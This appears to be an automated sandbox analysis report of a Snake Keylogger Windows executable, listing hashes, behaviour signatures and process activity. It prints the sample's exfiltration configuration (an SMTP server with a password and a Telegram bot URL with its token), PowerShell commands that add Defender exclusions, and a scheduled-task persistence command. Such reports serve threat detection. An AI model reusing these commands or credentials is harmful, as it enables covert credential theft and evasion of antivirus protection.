Analysis
- max time kernel
73s - max time network
134s - platform
windows7_x64 - resource
win7-20221111-en - resource tags
arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system - submitted
08/02/2023, 19:42
Static task
static1
Behavioral task
behavioral1
Sample
fbd93ef7f7c0d319e22b59cc56ca9a2a.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
fbd93ef7f7c0d319e22b59cc56ca9a2a.exe
Resource
win10v2004-20221111-en
General
- Target fbd93ef7f7c0d319e22b59cc56ca9a2a.exe
- Size 918KB
- Sample230208-yenv8sed2x
- SHA256 40c0aeecd4e2a74e596321dc0ad63cd62ce9e3c0cc1a2d095844e20bef5fec40
- MD5 fbd93ef7f7c0d319e22b59cc56ca9a2a
- SHA1 4ea9232d596a9cecc89e50c73a43bf45b99ffa32
- SHA512 ff97d08e229ea91b2a14f927634dd396a52145df35c2b022d3aaab317cd0287c16353807b5243cbce91b828376e13813aef1841cd85bdf78c32781931d238e3f
- SSDEEP 24576:71bgzPGhgzfYAwMYeJ73JUSf81R1gpHZo:7ZyPyywAwMYe86CRmjo
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
snakekeylogger
-
Protocol
smtp
-
Host
mail.alwethba.com
-
Port
587
-
Username
-
Password
BI21Awe7zW
-
Email to
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https://api.telegram.org/bot5814180506:AAFpVfxl9CBszzsUeg8FTylBwiTKUc4g3lA/sendMessage?chat_id=5056270248
Signatures
- Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
- Snake Keylogger payload 6 IoCs
resource yara_rule behavioral1/memory/1092-70-0x0000000000400000-0x0000000000426000-memory.dmp family_snakekeylogger behavioral1/memory/1092-72-0x0000000000400000-0x0000000000426000-memory.dmp family_snakekeylogger behavioral1/memory/1092-73-0x0000000000400000-0x0000000000426000-memory.dmp family_snakekeylogger behavioral1/memory/1092-74-0x000000000042079E-mapping.dmp family_snakekeylogger behavioral1/memory/1092-76-0x0000000000400000-0x0000000000426000-memory.dmp family_snakekeylogger behavioral1/memory/1092-78-0x0000000000400000-0x0000000000426000-memory.dmp family_snakekeylogger - Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3385717845-2518323428-350143044-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe Key opened \REGISTRY\USER\S-1-5-21-3385717845-2518323428-350143044-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe Key opened \REGISTRY\USER\S-1-5-21-3385717845-2518323428-350143044-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 4 checkip.dyndns.org - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1364 set thread context of 1092 1364 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe 34 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1672 schtasks.exe - Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 1364 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe 1364 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe 1364 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe 1364 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe 1364 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe 1364 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe 1092 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe 1180 powershell.exe 2016 powershell.exe 1092 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe - Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 1364 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe Token: SeDebugPrivilege 1092 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe Token: SeDebugPrivilege 2016 powershell.exe Token: SeDebugPrivilege 1180 powershell.exe - Suspicious use of WriteProcessMemory 21 IoCs
description pid Process procid_target PID 1364 wrote to memory of 2016 1364 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe 28 PID 1364 wrote to memory of 2016 1364 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe 28 PID 1364 wrote to memory of 2016 1364 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe 28 PID 1364 wrote to memory of 2016 1364 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe 28 PID 1364 wrote to memory of 1180 1364 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe 30 PID 1364 wrote to memory of 1180 1364 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe 30 PID 1364 wrote to memory of 1180 1364 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe 30 PID 1364 wrote to memory of 1180 1364 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe 30 PID 1364 wrote to memory of 1672 1364 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe 32 PID 1364 wrote to memory of 1672 1364 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe 32 PID 1364 wrote to memory of 1672 1364 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe 32 PID 1364 wrote to memory of 1672 1364 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe 32 PID 1364 wrote to memory of 1092 1364 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe 34 PID 1364 wrote to memory of 1092 1364 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe 34 PID 1364 wrote to memory of 1092 1364 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe 34 PID 1364 wrote to memory of 1092 1364 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe 34 PID 1364 wrote to memory of 1092 1364 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe 34 PID 1364 wrote to memory of 1092 1364 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe 34 PID 1364 wrote to memory of 1092 1364 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe 34 PID 1364 wrote to memory of 1092 1364 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe 34 PID 1364 wrote to memory of 1092 1364 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe 34 - outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3385717845-2518323428-350143044-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe - outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3385717845-2518323428-350143044-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 fbd93ef7f7c0d319e22b59cc56ca9a2a.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\fbd93ef7f7c0d319e22b59cc56ca9a2a.exe"C:\Users\Admin\AppData\Local\Temp\fbd93ef7f7c0d319e22b59cc56ca9a2a.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1364 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\fbd93ef7f7c0d319e22b59cc56ca9a2a.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2016
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\fwaYQVFS.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1180
-
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C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fwaYQVFS" /XML "C:\Users\Admin\AppData\Local\Temp\tmpF548.tmp"2⤵
- Creates scheduled task(s)
PID:1672
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C:\Users\Admin\AppData\Local\Temp\fbd93ef7f7c0d319e22b59cc56ca9a2a.exe"C:\Users\Admin\AppData\Local\Temp\fbd93ef7f7c0d319e22b59cc56ca9a2a.exe"2⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:1092
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\tmpF548.tmp
- Size 1KB
- SHA256 af66318cd0d235ad907d46e6e1a1d7669bf3c4f9a31e08bd2ae6b613f5bf0546
- MD5 8181566f5fb8351333d5631dc008555d
- SHA1 9f8da908ac7464156d8e3c78ece7fc7feb0c6613
- SHA512 5101a0ba6e20dfb15e0518c241d8cddede06b27a7b7323ad92f0a95e13da1cf6e074e6121bc8f4436bf2b094c5b5d9b3ec00aa9576bfaa5a0ff1ea106f52fded
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
- Size 7KB
- SHA256 f73c5cf44d8269d8d0a907c39fa50e1ad1f396f2855b1ec03cf14fd378bd0395
- MD5 2bfd119b68edf0faa2b8b72810c7dfc1
- SHA1 3d399bde50eebf99191075c98fb04039f23e87f4
- SHA512 03ef2c4edeb26da97022fbae75cb6be7d9b57c515763c6abc396c0d8c34d178fb1966d577653d11fe01ea9abdd2354f52ac66caa204e7bf40ed78220462aa96e
- SSDEEP 96:AHI2I7CtM8BnqvsqvJCwoZ2MHI2I7CtM8BnqvsEHyqvJCworP2jJibrqQH/G7NJA:d2IsFUoZ2R2IsFAHnorP219OG7/G11d
- MD5 SHA1 SHA512 SSDEEP